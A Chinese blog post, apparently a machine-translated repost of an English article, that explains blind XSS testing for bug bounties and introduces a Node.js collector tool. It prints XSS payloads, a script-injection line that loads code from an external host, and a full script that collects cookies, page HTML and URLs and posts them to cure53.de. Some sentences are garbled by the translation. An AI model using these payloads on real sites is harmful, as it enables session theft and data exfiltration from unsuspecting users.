Blind XSS test

那么,什么是Blind XSS反正?

Blind XSS就是我们所说的持久化/存储的XSS,它保存在某些存储中,比如数据库,当一个“受害者”访问该页面并且在文档对象模型(DOM)中呈现有效载荷时执行。它被归类为盲目的原因是因为它通常发生在通常不会暴露给用户的功能上,例如:

  • 日志查看器
  • 客户服务门户
  • 应用程序功能需要更高级别的权限

如果你用一般的术语来思考它,当测试反射或存储的XSS时,一般的有效载荷应该是:

<script>alert(1)</script> 
<img src=x onerror="alert(1)"/> 
<svg onload="javascript:confirm(1)"></svg> 
L¢£n£Mñ]La¢£n

测试人员尝试不同的有效载荷,从html5sec获得一些创造性的灵感,尝试不同的方式来注入有效载荷,通过诸如Hackvector或Burp Decoder等工具操纵有效载荷,以查看应用程序是否将其呈现在DOM内。

使用Blind XSS,您需要一种方法来获取您的有效载荷,通知您发生的事情发生在不同的服务器或页面上时,您无法看到。最简单的方法是将JavaScript作为第三方资源加载,例如:

“> < script  src = ”yoursite.com/xss.js“ ></ script >

现在注入外部资源,坐下来放松,等待得到答复。

你可能会想,这真的有必要吗?如果你看看网站,如hackerone或bugcrowd,你将开始看到这些问题的共同主题此起彼伏,而当赔付是从任何地方几百元到$ 3000+是有道理的要创建一个自动化的方式来测试盲人XSS。

有效载荷

使用cure53的一个有效载荷的例子,你可以在用户输入的地方插入下面的载荷:

“> < script  src = ”https://cure53.de/m/“ ></ script >

现在了解脚本:

(function () {
    if (window.name !== '__') {

        try { dcoo = document.cookie } catch (e) { dcoo = null }
        try { inne = document.body.parentNode.innerHTML } catch (e) { inne = null }
        try { durl = document.URL } catch (e) { durl = null }
        try { oloc = opener.location } catch (e) { oloc = null }
        try { oloh = opener.document.body.innerHTML } catch (e) { oloh = null }
        try { odoc = opener.document.cookie } catch (e) { odoc = null }

        var _ = document.createElementNS('http://www.w3.org/1999/xhtml', 'form');
        var __ = document.createElementNS('http://www.w3.org/1999/xhtml', 'input');
        var body = document.getElementsByTagName('body')[0];

        __.setAttribute('value', escape(
            dcoo + '\r\n\r\n' + inne + '\r\n\r\n' + durl + '\r\n\r\n' +
            oloc + '\r\n\r\n' + oloh + '\r\n\r\n' + odoc
        ));
        __.setAttribute('name', '_');
        _.appendChild(__);
        _.action = 'https://cure53.de/m/';
        _.method = 'post';
        //_.target='_blank';

        body.appendChild(_);
        window.name = '__';
        _.submit();
        //history.back();
    } else { window.name = '' }
})();
  1. 数据被封装在一个立即调用的函数表达式(IFFE)中,所以它将在页面加载时执行
  2. 它捕获文档的属性,如果它们存在
  • cookies
  • innerHTML
  • URL
  • location
  1. 通过createElementNS创建两个元素
  • _ as a form
  • __ as an input field
  1. 当前窗口的主体被捕获,因为通常在HTML页面中有一个主体,它获得第一个实例[0]

  2. 文档属性被转义并被设置为输入字段的值

  3. 输入字段被附加到表单

  4. 表单被分配一个动作,将表单作为POST请求发送到https://cure53.de/m/

  5. 表单被附加到DOM的当前主体

  6. 表单被提交到https://cure53.de/m/,并且POST主体_包含步骤2中提到的所有属性(如果存在的话)

这个脚本非常强大,可以捕获所有需要识别目标的属性,如果没有设置HTTPOnly标志,就可能以恰好访问有效载荷的页面的用户身份登录应用程序。

建筑时间

接下来是创建一个应用程序来处理数据。

无论如何,这并不是什么新鲜事,现在已经有很多很棒的实现了。例如Burp合作者,XSS猎人,困小狗和其他各种各样的例子。

我在大多数例子中看到的是,他们没有设置短信通知,所以我创建了bXSS。

bXSS是一个Node.js应用程序,它将:

  • 通过nodemailer加载资源时的电子邮件(使用Gmail邮件)
    • 通过Twilio发送短信

    • 保存到磁盘以便以后查看(如有必要)

该应用程序有三个核心功能

  • POST – /m (captures DOM information)
  • GET – /m (Loads the payload)
  • Everything else – Loads alert(1)

这对我的需求是完美的,也许是你的需求。我会建议看看Burp Collaborator,Sleepy Puppy或者XSS Hunter,看他们是否合适,因为他们极其容易入门。每个安全测试人员都有一个内置盲人XSS检测的Burp Suite的副本,XSS Hunter的在线版本使用简单。

如果你喜欢这个项目,可以随时贡献,或者如果你想建议改善,在GitHub上开火。


转载请注明出处:https://www.freearoot.com/index.php/blind-xss-test.html

文章来源:https://lewisardern.github.io/2017/12/10/blind-xss/